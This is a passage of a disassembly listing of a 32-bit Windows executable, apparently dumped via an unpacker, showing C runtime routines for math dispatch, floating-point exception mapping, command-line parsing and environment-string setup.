; ---------------------------------------------------------------------------

loc_414B4B:				; CODE XREF: sub_41494F+1DAj
					; DATA XREF: .text:off_414BCBo
		mov	[ebp+var_24], offset aAtan ; jumptable 00414B29	case 1003
		jmp	short loc_414AE2
; ---------------------------------------------------------------------------

loc_414B54:				; CODE XREF: sub_41494F+1DAj
					; DATA XREF: .text:off_414BCBo
		mov	[ebp+var_24], offset aCeil ; jumptable 00414B29	case 1004
		jmp	short loc_414AE2
; ---------------------------------------------------------------------------

loc_414B5D:				; CODE XREF: sub_41494F+1DAj
					; DATA XREF: .text:off_414BCBo
		mov	[ebp+var_24], offset aFloor ; jumptable	00414B29 case 1005
		jmp	loc_414AE2
; ---------------------------------------------------------------------------

loc_414B69:				; CODE XREF: sub_41494F+1DAj
					; DATA XREF: .text:off_414BCBo
		mov	[ebp+var_24], offset aModf ; jumptable 00414B29	case 1007
		jmp	loc_414AE2
; ---------------------------------------------------------------------------

loc_414B75:				; CODE XREF: sub_41494F+1DAj
					; DATA XREF: .text:off_414BCBo
		mov	[ebp+var_24], offset dword_41EBB0 ; jumptable 00414B29 case 1010
		jmp	short loc_414B8E
; ---------------------------------------------------------------------------

loc_414B7E:				; CODE XREF: sub_41494F+1DAj
					; DATA XREF: .text:off_414BCBo
		mov	[ebp+var_24], offset dword_41EBAC ; jumptable 00414B29 case 1011
		jmp	short loc_414B8E
; ---------------------------------------------------------------------------

loc_414B87:				; CODE XREF: sub_41494F+1DAj
					; DATA XREF: .text:off_414BCBo
		mov	[ebp+var_24], offset dword_41EBA8 ; jumptable 00414B29 case 1012

loc_414B8E:				; CODE XREF: sub_41494F+22Dj
					; sub_41494F+236j
		fld	qword ptr [edi]
		fmul	[ebp+var_8]
		fst	qword ptr [esi]
		fld	qword ptr [edi]
		fstp	[ebp+var_20]
		fld	qword ptr [ebx]
		fstp	[ebp+var_18]

loc_414B9F:				; CODE XREF: sub_41494F+129j
		lea	ecx, [ebp+var_28]
		fstp	[ebp+var_10]
		push	ecx
		mov	[ebp+var_28], 1
		call	eax
		test	eax, eax
		pop	ecx
		jnz	short loc_414BBF
		call	sub_40FCB4
		mov	dword ptr [eax], 21h

loc_414BBF:				; CODE XREF: sub_41494F+C7j
					; sub_41494F+D8j ...
		fld	[ebp+var_10]

loc_414BC2:				; CODE XREF: sub_41494F+1B3j
		fstp	qword ptr [esi]

loc_414BC4:				; CODE XREF: sub_41494F+9Bj
					; sub_41494F+174j ...
		pop	edi		; default
		pop	esi
		pop	ebx
		leave
		retn
sub_41494F	endp

; ---------------------------------------------------------------------------
		db 8Bh,	0FFh
off_414BCB	dd offset loc_414B30	; DATA XREF: sub_41494F+1DAr
		dd offset loc_414B39	; jump table for switch	statement
		dd offset loc_414B42
		dd offset loc_414B4B
		dd offset loc_414B54
		dd offset loc_414B5D
		dd offset loc_414AE8
		dd offset loc_414B69
		dd offset loc_414AD2
		dd offset loc_414AC9
		dd offset loc_414B75
		dd offset loc_414B7E
		dd offset loc_414B87

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_414BFF(double)

sub_414BFF	proc near		; CODE XREF: sub_40E330+7j
					; sub_40E330+38j

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_423D98
		call	sub_41A0D1
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		push	ecx
		and	ax, 7FF0h
		cmp	ax, 7FF0h
		push	ecx
		fstp	[esp+18h+var_18]
		jnz	short loc_414C85
		call	sub_419FB0
		test	eax, eax
		pop	ecx
		pop	ecx
		jle	short loc_414C68
		cmp	eax, 2
		jle	short loc_414C5A
		cmp	eax, 3
		jnz	short loc_414C68
		fld	[ebp+arg_0]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		push	0Ch		; int
		call	sub_419E68
		add	esp, 10h
		jmp	short loc_414CCC
; ---------------------------------------------------------------------------

loc_414C5A:				; CODE XREF: sub_414BFF+3Fj
		push	esi
		push	ebx
		call	sub_41A0D1
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_414CCC
; ---------------------------------------------------------------------------

loc_414C68:				; CODE XREF: sub_414BFF+3Aj
					; sub_414BFF+44j
		fld	[ebp+arg_0]
		push	ebx
		fadd	ds:dbl_41EBE0
		sub	esp, 10h
		fstp	qword ptr [esp+8]
		fld	[ebp+arg_0]
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_414CC4
; ---------------------------------------------------------------------------

loc_414C85:				; CODE XREF: sub_414BFF+2Fj
		call	sub_419F75
		fstp	[ebp+var_8]
		fld	[ebp+arg_0]
		pop	ecx
		fcomp	[ebp+var_8]
		pop	ecx
		fnstsw	ax
		test	ah, 44h
		jp	short loc_414CAA

loc_414C9C:				; CODE XREF: sub_414BFF+AEj
		push	esi
		push	ebx
		call	sub_41A0D1
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_414CCC
; ---------------------------------------------------------------------------

loc_414CAA:				; CODE XREF: sub_414BFF+9Bj
		test	bl, 20h
		jnz	short loc_414C9C
		fld	[ebp+var_8]
		push	ebx		; int
		sub	esp, 10h
		fstp	qword ptr [esp+8]
		fld	[ebp+arg_0]
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int

loc_414CC4:				; CODE XREF: sub_414BFF+84j
		call	sub_419EBB
		add	esp, 1Ch

loc_414CCC:				; CODE XREF: sub_414BFF+59j
					; sub_414BFF+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_414BFF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414CD0	proc near		; CODE XREF: .text:0040E64Bp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		call	sub_40F7FB
		mov	esi, eax
		test	esi, esi
		jnz	short loc_414CEF
		push	[ebp+arg_4]
		call	ds:off_41E1BC
		jmp	loc_414E3C
; ---------------------------------------------------------------------------

loc_414CEF:				; CODE XREF: sub_414CD0+Fj
		mov	edx, [esi+5Ch]
		mov	eax, dword_423E24
		push	edi
		mov	edi, [ebp+arg_0]
		mov	ecx, edx
		push	ebx

loc_414CFE:				; CODE XREF: sub_414CD0+3Ej
		cmp	[ecx], edi
		jz	short loc_414D10
		mov	ebx, eax
		imul	ebx, 0Ch
		add	ecx, 0Ch
		add	ebx, edx
		cmp	ecx, ebx
		jb	short loc_414CFE

loc_414D10:				; CODE XREF: sub_414CD0+30j
		imul	eax, 0Ch
		add	eax, edx
		cmp	ecx, eax
		jnb	short loc_414D21
		cmp	[ecx], edi
		jnz	short loc_414D21
		mov	eax, ecx
		jmp	short loc_414D23
; ---------------------------------------------------------------------------

loc_414D21:				; CODE XREF: sub_414CD0+47j
					; sub_414CD0+4Bj
		xor	eax, eax

loc_414D23:				; CODE XREF: sub_414CD0+4Fj
		test	eax, eax
		jz	short loc_414D31
		mov	ebx, [eax+8]
		test	ebx, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_414D3F

loc_414D31:				; CODE XREF: sub_414CD0+55j
		push	[ebp+arg_4]
		call	ds:off_41E1BC
		jmp	loc_414E3A
; ---------------------------------------------------------------------------

loc_414D3F:				; CODE XREF: sub_414CD0+5Fj
		cmp	ebx, 5
		jnz	short loc_414D50
		and	dword ptr [eax+8], 0
		xor	eax, eax
		inc	eax
		jmp	loc_414E3A
; ---------------------------------------------------------------------------

loc_414D50:				; CODE XREF: sub_414CD0+72j
		cmp	ebx, 1
		jz	loc_414E37
		mov	ecx, [esi+60h]
		mov	[ebp+var_8], ecx
		mov	ecx, [ebp+arg_4]
		mov	[esi+60h], ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_414E29
		mov	ecx, dword_423E18
		mov	edi, dword_423E1C
		mov	edx, ecx
		add	edi, ecx
		cmp	edx, edi
		jge	short loc_414DA9
		imul	ecx, 0Ch

loc_414D88:				; CODE XREF: sub_414CD0+D4j
		mov	edi, [esi+5Ch]
		and	dword ptr [ecx+edi+8], 0
		mov	edi, dword_423E18
		mov	ebx, dword_423E1C
		inc	edx
		add	ebx, edi
		add	ecx, 0Ch
		cmp	edx, ebx
		jl	short loc_414D88
		mov	ebx, [ebp+var_4]

loc_414DA9:				; CODE XREF: sub_414CD0+B3j
		mov	eax, [eax]
		cmp	eax, 0C000008Eh
		mov	edi, [esi+64h]
		jnz	short loc_414DBE
		mov	dword ptr [esi+64h], 83h
		jmp	short loc_414E1C
; ---------------------------------------------------------------------------

loc_414DBE:				; CODE XREF: sub_414CD0+E3j
		cmp	eax, 0C0000090h
		jnz	short loc_414DCE
		mov	dword ptr [esi+64h], 81h
		jmp	short loc_414E1C
; ---------------------------------------------------------------------------

loc_414DCE:				; CODE XREF: sub_414CD0+F3j
		cmp	eax, 0C0000091h
		jnz	short loc_414DDE
		mov	dword ptr [esi+64h], 84h
		jmp	short loc_414E1C
; ---------------------------------------------------------------------------

loc_414DDE:				; CODE XREF: sub_414CD0+103j
		cmp	eax, 0C0000093h
		jnz	short loc_414DEE
		mov	dword ptr [esi+64h], 85h
		jmp	short loc_414E1C
; ---------------------------------------------------------------------------

loc_414DEE:				; CODE XREF: sub_414CD0+113j
		cmp	eax, 0C000008Dh
		jnz	short loc_414DFE
		mov	dword ptr [esi+64h], 82h
		jmp	short loc_414E1C
; ---------------------------------------------------------------------------

loc_414DFE:				; CODE XREF: sub_414CD0+123j
		cmp	eax, 0C000008Fh
		jnz	short loc_414E0E
		mov	dword ptr [esi+64h], 86h
		jmp	short loc_414E1C
; ---------------------------------------------------------------------------

loc_414E0E:				; CODE XREF: sub_414CD0+133j
		cmp	eax, 0C0000092h
		jnz	short loc_414E1C
		mov	dword ptr [esi+64h], 8Ah

loc_414E1C:				; CODE XREF: sub_414CD0+ECj
					; sub_414CD0+FCj ...
		push	dword ptr [esi+64h]
		push	8
		call	ebx
		pop	ecx
		mov	[esi+64h], edi
		jmp	short loc_414E30
; ---------------------------------------------------------------------------

loc_414E29:				; CODE XREF: sub_414CD0+9Bj
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx

loc_414E30:				; CODE XREF: sub_414CD0+157j
		mov	eax, [ebp+var_8]
		pop	ecx
		mov	[esi+60h], eax

loc_414E37:				; CODE XREF: sub_414CD0+83j
		or	eax, 0FFFFFFFFh

loc_414E3A:				; CODE XREF: sub_414CD0+6Aj
					; sub_414CD0+7Bj
		pop	ebx
		pop	edi

loc_414E3C:				; CODE XREF: sub_414CD0+1Aj
		pop	esi
		leave
		retn
sub_414CD0	endp


; =============== S U B	R O U T	I N E =======================================



sub_414E3F	proc near		; CODE XREF: .text:loc_40E608p
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_434E14, edi
		jnz	short loc_414E50
		call	sub_40F2E4

loc_414E50:				; CODE XREF: sub_414E3F+Aj
		mov	esi, dword_434E40
		test	esi, esi
		jnz	short loc_414E5F
		mov	esi, offset byte_4202BD

loc_414E5F:				; CODE XREF: sub_414E3F+19j
					; sub_414E3F+4Bj
		mov	al, [esi]
		cmp	al, 20h
		ja	short loc_414E6D
		test	al, al
		jz	short loc_414E97
		test	edi, edi
		jz	short loc_414E91

loc_414E6D:				; CODE XREF: sub_414E3F+24j
		cmp	al, 22h
		jnz	short loc_414E7A
		xor	ecx, ecx
		test	edi, edi
		setz	cl
		mov	edi, ecx

loc_414E7A:				; CODE XREF: sub_414E3F+30j
		movzx	eax, al
		push	eax
		call	sub_41A211
		test	eax, eax
		pop	ecx
		jz	short loc_414E89
		inc	esi

loc_414E89:				; CODE XREF: sub_414E3F+47j
		inc	esi
		jmp	short loc_414E5F
; ---------------------------------------------------------------------------

loc_414E8C:				; CODE XREF: sub_414E3F+56j
		cmp	al, 20h
		ja	short loc_414E97
		inc	esi

loc_414E91:				; CODE XREF: sub_414E3F+2Cj
		mov	al, [esi]
		test	al, al
		jnz	short loc_414E8C

loc_414E97:				; CODE XREF: sub_414E3F+28j
					; sub_414E3F+4Fj
		pop	edi
		mov	eax, esi
		pop	esi
		retn
sub_414E3F	endp


; =============== S U B	R O U T	I N E =======================================



sub_414E9C	proc near		; CODE XREF: .text:loc_40E5E5p
		push	ebx
		xor	ebx, ebx
		cmp	dword_434E14, ebx
		push	esi
		push	edi
		jnz	short loc_414EAE
		call	sub_40F2E4

loc_414EAE:				; CODE XREF: sub_414E9C+Bj
		mov	esi, dword_425AF4
		xor	edi, edi
		cmp	esi, ebx
		jnz	short loc_414ED2

loc_414EBA:				; CODE XREF: sub_414E9C+51j
		or	eax, 0FFFFFFFFh
		jmp	loc_414F5D
; ---------------------------------------------------------------------------

loc_414EC2:				; CODE XREF: sub_414E9C+3Aj
		cmp	al, 3Dh
		jz	short loc_414EC7
		inc	edi

loc_414EC7:				; CODE XREF: sub_414E9C+28j
		push	esi
		call	sub_40C9B0
		pop	ecx
		lea	esi, [esi+eax+1]

loc_414ED2:				; CODE XREF: sub_414E9C+1Cj
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_414EC2
		push	4
		inc	edi
		push	edi
		call	sub_411ECA
		mov	edi, eax
		cmp	edi, ebx
		pop	ecx
		pop	ecx
		mov	dword_425FF8, edi
		jz	short loc_414EBA
		mov	esi, dword_425AF4
		push	ebp
		jmp	short loc_414F38
; ---------------------------------------------------------------------------

loc_414EF8:				; CODE XREF: sub_414E9C+9Ej
		push	esi
		call	sub_40C9B0
		mov	ebp, eax
		inc	ebp
		cmp	byte ptr [esi],	3Dh
		pop	ecx
		jz	short loc_414F36
		push	1
		push	ebp
		call	sub_411ECA
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jz	short loc_414F61
		push	esi
		push	ebp
		push	eax
		call	sub_411E25
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_414F33
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40D222
		add	esp, 14h

loc_414F33:				; CODE XREF: sub_414E9C+88j
		add	edi, 4

loc_414F36:				; CODE XREF: sub_414E9C+69j
		add	esi, ebp

loc_414F38:				; CODE XREF: sub_414E9C+5Aj
		cmp	[esi], bl
		jnz	short loc_414EF8
		push	dword_425AF4
		call	sub_40DBA6
		mov	dword_425AF4, ebx
		mov	[edi], ebx
		mov	dword_434E08, 1
		xor	eax, eax

loc_414F5B:				; CODE XREF: sub_414E9C+D9j
		pop	ecx
		pop	ebp

loc_414F5D:				; CODE XREF: sub_414E9C+21j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_414F61:				; CODE XREF: sub_414E9C+79j
		push	dword_425FF8
		call	sub_40DBA6
		mov	dword_425FF8, ebx
		or	eax, 0FFFFFFFFh
		jmp	short loc_414F5B
sub_414E9C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414F77	proc near		; CODE XREF: sub_41510F+55p
					; sub_41510F+96p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_8]
		push	ebx
		xor	eax, eax
		cmp	[ebp+arg_0], eax
		push	esi
		mov	[edi], eax
		mov	esi, edx
		mov	edx, [ebp+arg_4]
		mov	dword ptr [ecx], 1
		jz	short loc_414F9D
		mov	ebx, [ebp+arg_0]
		add	[ebp+arg_0], 4
		mov	[ebx], edx

loc_414F9D:				; CODE XREF: sub_414F77+1Bj
		mov	[ebp+var_4], eax

loc_414FA0:				; CODE XREF: sub_414F77+7Ej
					; sub_414F77+88j
		cmp	byte ptr [esi],	22h
		jnz	short loc_414FB5
		xor	eax, eax
		cmp	[ebp+var_4], eax
		mov	bl, 22h
		setz	al
		inc	esi
		mov	[ebp+var_4], eax
		jmp	short loc_414FF1
; ---------------------------------------------------------------------------

loc_414FB5:				; CODE XREF: sub_414F77+2Cj
		inc	dword ptr [edi]
		test	edx, edx
		jz	short loc_414FC3
		mov	al, [esi]
		mov	[edx], al
		inc	edx
		mov	[ebp+arg_4], edx

loc_414FC3:				; CODE XREF: sub_414F77+42j
		mov	bl, [esi]
		movzx	eax, bl
		push	eax
		inc	esi
		call	sub_41A211
		test	eax, eax
		pop	ecx
		jz	short loc_414FE7
		inc	dword ptr [edi]
		cmp	[ebp+arg_4], 0
		jz	short loc_414FE6
		mov	ecx, [ebp+arg_4]
		mov	al, [esi]
		inc	[ebp+arg_4]
		mov	[ecx], al

loc_414FE6:				; CODE XREF: sub_414F77+63j
		inc	esi

loc_414FE7:				; CODE XREF: sub_414F77+5Bj
		test	bl, bl
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		jz	short loc_415023

loc_414FF1:				; CODE XREF: sub_414F77+3Cj
		cmp	[ebp+var_4], 0
		jnz	short loc_414FA0
		cmp	bl, 20h
		jz	short loc_415001
		cmp	bl, 9
		jnz	short loc_414FA0

loc_415001:				; CODE XREF: sub_414F77+83j
		test	edx, edx
		jz	short loc_415009
		mov	byte ptr [edx-1], 0

loc_415009:				; CODE XREF: sub_414F77+8Cj
					; sub_414F77+ADj
		and	[ebp+var_4], 0

loc_41500D:				; CODE XREF: sub_414F77+183j
		cmp	byte ptr [esi],	0
		jz	loc_4150FF

loc_415016:				; CODE XREF: sub_414F77+AAj
		mov	al, [esi]
		cmp	al, 20h
		jz	short loc_415020
		cmp	al, 9
		jnz	short loc_415026

loc_415020:				; CODE XREF: sub_414F77+A3j
		inc	esi
		jmp	short loc_415016
; ---------------------------------------------------------------------------

loc_415023:				; CODE XREF: sub_414F77+78j
		dec	esi
		jmp	short loc_415009
; ---------------------------------------------------------------------------

loc_415026:				; CODE XREF: sub_414F77+A7j
		cmp	byte ptr [esi],	0
		jz	loc_4150FF
		cmp	[ebp+arg_0], 0
		jz	short loc_41503E
		mov	eax, [ebp+arg_0]
		add	[ebp+arg_0], 4
		mov	[eax], edx

loc_41503E:				; CODE XREF: sub_414F77+BCj
		inc	dword ptr [ecx]

loc_415040:				; CODE XREF: sub_414F77+16Ej
		xor	ebx, ebx
		inc	ebx
		xor	ecx, ecx
		jmp	short loc_415049
; ---------------------------------------------------------------------------

loc_415047:				; CODE XREF: sub_414F77+D5j
		inc	esi
		inc	ecx

loc_415049:				; CODE XREF: sub_414F77+CEj
		cmp	byte ptr [esi],	5Ch
		jz	short loc_415047
		cmp	byte ptr [esi],	22h
		jnz	short loc_415079
		test	cl, 1
		jnz	short loc_415077
		cmp	[ebp+var_4], 0
		jz	short loc_41506A
		lea	eax, [esi+1]
		cmp	byte ptr [eax],	22h
		jnz	short loc_41506A
		mov	esi, eax
		jmp	short loc_415077
; ---------------------------------------------------------------------------

loc_41506A:				; CODE XREF: sub_414F77+E5j
					; sub_414F77+EDj
		xor	eax, eax
		xor	ebx, ebx
		cmp	[ebp+var_4], eax
		setz	al
		mov	[ebp+var_4], eax

loc_415077:				; CODE XREF: sub_414F77+DFj
					; sub_414F77+F1j
		shr	ecx, 1

loc_415079:				; CODE XREF: sub_414F77+DAj
		test	ecx, ecx
		jz	short loc_41508F

loc_41507D:				; CODE XREF: sub_414F77+113j
		dec	ecx
		test	edx, edx
		jz	short loc_415086
		mov	byte ptr [edx],	5Ch
		inc	edx

loc_415086:				; CODE XREF: sub_414F77+109j
		inc	dword ptr [edi]
		test	ecx, ecx
		jnz	short loc_41507D
		mov	[ebp+arg_4], edx

loc_41508F:				; CODE XREF: sub_414F77+104j
		mov	al, [esi]
		test	al, al
		jz	short loc_4150EA
		cmp	[ebp+var_4], 0
		jnz	short loc_4150A3
		cmp	al, 20h
		jz	short loc_4150EA
		cmp	al, 9
		jz	short loc_4150EA

loc_4150A3:				; CODE XREF: sub_414F77+122j
		test	ebx, ebx
		jz	short loc_4150E4
		test	edx, edx
		movsx	eax, al
		push	eax
		jz	short loc_4150D2
		call	sub_41A211
		test	eax, eax
		pop	ecx
		jz	short loc_4150C6
		mov	al, [esi]
		mov	ecx, [ebp+arg_4]
		inc	[ebp+arg_4]
		mov	[ecx], al
		inc	esi
		inc	dword ptr [edi]

loc_4150C6:				; CODE XREF: sub_414F77+140j
		mov	ecx, [ebp+arg_4]
		mov	al, [esi]
		inc	[ebp+arg_4]
		mov	[ecx], al
		jmp	short loc_4150DF
; ---------------------------------------------------------------------------

loc_4150D2:				; CODE XREF: sub_414F77+136j
		call	sub_41A211
		test	eax, eax
		pop	ecx
		jz	short loc_4150DF
		inc	esi
		inc	dword ptr [edi]

loc_4150DF:				; CODE XREF: sub_414F77+159j
					; sub_414F77+163j
		inc	dword ptr [edi]
		mov	edx, [ebp+arg_4]

loc_4150E4:				; CODE XREF: sub_414F77+12Ej
		inc	esi
		jmp	loc_415040
; ---------------------------------------------------------------------------

loc_4150EA:				; CODE XREF: sub_414F77+11Cj
					; sub_414F77+126j ...
		test	edx, edx
		jz	short loc_4150F5
		mov	byte ptr [edx],	0
		inc	edx
		mov	[ebp+arg_4], edx

loc_4150F5:				; CODE XREF: sub_414F77+175j
		inc	dword ptr [edi]
		mov	ecx, [ebp+arg_8]
		jmp	loc_41500D
; ---------------------------------------------------------------------------

loc_4150FF:				; CODE XREF: sub_414F77+99j
					; sub_414F77+B2j
		mov	eax, [ebp+arg_0]
		test	eax, eax
		pop	esi
		pop	ebx
		jz	short loc_41510B
		and	dword ptr [eax], 0

loc_41510B:				; CODE XREF: sub_414F77+18Fj
		inc	dword ptr [ecx]
		leave
		retn
sub_414F77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41510F	proc near		; CODE XREF: .text:0040E5D4p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		xor	ebx, ebx
		cmp	dword_434E14, ebx
		push	esi
		push	edi
		jnz	short loc_415127
		call	sub_40F2E4

loc_415127:				; CODE XREF: sub_41510F+11j
		push	104h
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	esi
		push	ebx
		mov	byte_42645C, bl
		call	ds:dword_41E060	; GetModuleFileNameA
		mov	eax, dword_434E40
		cmp	eax, ebx
		mov	off_426008, esi
		jz	short loc_415155
		cmp	[eax], bl
		mov	[ebp+var_4], eax
		jnz	short loc_415158

loc_415155:				; CODE XREF: sub_41510F+3Dj
		mov	[ebp+var_4], esi

loc_415158:				; CODE XREF: sub_41510F+44j
		mov	edx, [ebp+var_4]
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		push	ebx
		lea	edi, [ebp+var_C]
		call	sub_414F77
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	eax, 3FFFFFFFh
		jnb	short loc_4151C0
		mov	ecx, [ebp+var_C]
		cmp	ecx, 0FFFFFFFFh
		jnb	short loc_4151C0
		mov	edi, eax
		shl	edi, 2
		lea	eax, [edi+ecx]
		cmp	eax, ecx
		jb	short loc_4151C0
		push	eax
		call	sub_411E8A
		mov	esi, eax
		cmp	esi, ebx
		pop	ecx
		jz	short loc_4151C0
		mov	edx, [ebp+var_4]
		lea	eax, [ebp+var_8]
		push	eax
		add	edi, esi
		push	edi
		push	esi
		lea	edi, [ebp+var_C]
		call	sub_414F77
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		dec	eax
		mov	dword_425FEC, eax
		mov	dword_425FF0, esi
		xor	eax, eax
		jmp	short loc_4151C3
; ---------------------------------------------------------------------------

loc_4151C0:				; CODE XREF: sub_41510F+65j
					; sub_41510F+6Dj ...
		or	eax, 0FFFFFFFFh

loc_4151C3:				; CODE XREF: sub_41510F+AFj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41510F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4151C8	proc near		; CODE XREF: .text:0040E5CAp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		mov	eax, dword_426460
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, ds:dword_41E134
		xor	ebx, ebx
		xor	esi, esi
		cmp	eax, ebx
		push	2
		pop	ebp
		jnz	short loc_415211
		call	edi	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_4151F8
		mov	dword_426460, 1
		jmp	short loc_41521A
; ---------------------------------------------------------------------------

loc_4151F8:				; CODE XREF: sub_4151C8+22j
		call	ds:dword_41E0F4	; RtlGetLastWin32Error
		cmp	eax, 78h
		jnz	short loc_41520C
		mov	eax, ebp
		mov	dword_426460, eax
		jmp	short loc_415211
; ---------------------------------------------------------------------------

loc_41520C:				; CODE XREF: sub_4151C8+39j
		mov	eax, dword_426460

loc_415211:				; CODE XREF: sub_4151C8+1Aj
					; sub_4151C8+42j
		cmp	eax, 1
		jnz	loc_41529E

loc_41521A:				; CODE XREF: sub_4151C8+2Ej
		cmp	esi, ebx
		jnz	short loc_41522D
		call	edi	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_41522D

loc_415226:				; CODE XREF: sub_4151C8+DCj
					; sub_4151C8+E8j ...
		xor	eax, eax
		jmp	loc_4152F6
; ---------------------------------------------------------------------------

loc_41522D:				; CODE XREF: sub_4151C8+54j
					; sub_4151C8+5Cj
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_415242

loc_415234:				; CODE XREF: sub_4151C8+71j
					; sub_4151C8+78j
		add	eax, ebp
		cmp	[eax], bx
		jnz	short loc_415234
		add	eax, ebp
		cmp	[eax], bx
		jnz	short loc_415234

loc_415242:				; CODE XREF: sub_4151C8+6Aj
		mov	edi, ds:dword_41E138
		push	ebx
		push	ebx
		push	ebx
		sub	eax, esi
		push	ebx
		sar	eax, 1
		inc	eax
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+38h+var_4], eax
		call	edi	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_415293
		push	ebp
		call	sub_411E8A
		cmp	eax, ebx
		pop	ecx
		mov	[esp+18h+var_8], eax
		jz	short loc_415293
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	[esp+28h+var_4]
		push	esi
		push	ebx
		push	ebx
		call	edi	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_41528F
		push	[esp+18h+var_8]
		call	sub_40DBA6
		pop	ecx
		mov	[esp+18h+var_8], ebx

loc_41528F:				; CODE XREF: sub_4151C8+B7j
		mov	ebx, [esp+18h+var_8]

loc_415293:				; CODE XREF: sub_4151C8+97j
					; sub_4151C8+A6j
		push	esi
		call	ds:dword_41E13C	; FreeEnvironmentStringsW
		mov	eax, ebx
		jmp	short loc_4152F6
; ---------------------------------------------------------------------------

loc_41529E:				; CODE XREF: sub_4151C8+4Cj
		cmp	eax, ebp
		jz	short loc_4152A6
		cmp	eax, ebx
		jnz	short loc_415226

loc_4152A6:				; CODE XREF: sub_4151C8+D8j
		call	ds:off_41E140
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_415226
		cmp	[esi], bl
		jz	short loc_4152C4

loc_4152BA:				; CODE XREF: sub_4151C8+F5j
					; sub_4151C8+FAj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4152BA
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4152BA

loc_4152C4:				; CODE XREF: sub_4151C8+F0j
		sub	eax, esi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_411E8A
		mov	edi, eax
		cmp	edi, ebx
		pop	ecx
		jnz	short loc_4152E2
		push	esi
		call	ds:off_41E144
		jmp	loc_415226
; ---------------------------------------------------------------------------

loc_4152E2:				; CODE XREF: sub_4151C8+10Cj
		push	ebp
		push	esi
		push	edi
		call	sub_40CC20
		add	esp, 0Ch
		push	esi
		call	ds:off_41E144
		mov	eax, edi

loc_4152F6:				; CODE XREF: sub_4151C8+60j
					; sub_4151C8+D4j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_4151C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4152FD	proc near		; CODE XREF: .text:loc_40E5A6p
		push	esi
		push	edi
		mov	eax, offset dword_42196C
		mov	edi, offset dword_42196C
		cmp	eax, edi
		mov	esi, eax
		jnb	short loc_41531E

loc_41530F:				; CODE XREF: sub_4152FD+1Fj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_415317
		call	eax

loc_415317:				; CODE XREF: sub_4152FD+16j
		add	esi, 4
		cmp	esi, edi
		jb	short loc_41530F

loc_41531E:				; CODE XREF: sub_4152FD+10j
		pop	edi
		pop	esi
		retn
sub_4152FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_415321	proc near		; DATA XREF: sub_4120C9+3Fo
		push	esi
		push	edi
		mov	eax, offset dword_421974
		mov	edi, offset dword_421974
		cmp	eax, edi
		mov	esi, eax
		jnb	short loc_415342

loc_415333:				; CODE XREF: sub_415321+1Fj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41533B
		call	eax

loc_41533B:				; CODE XREF: sub_415321+16j
		add	esi, 4
		cmp	esi, edi
		jb	short loc_415333

loc_415342:				; CODE XREF: sub_415321+10j
		pop	edi
		pop	esi
		retn
sub_415321	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415345	proc near		; CODE XREF: .text:loc_40E692p

var_10		= dword	ptr -10h
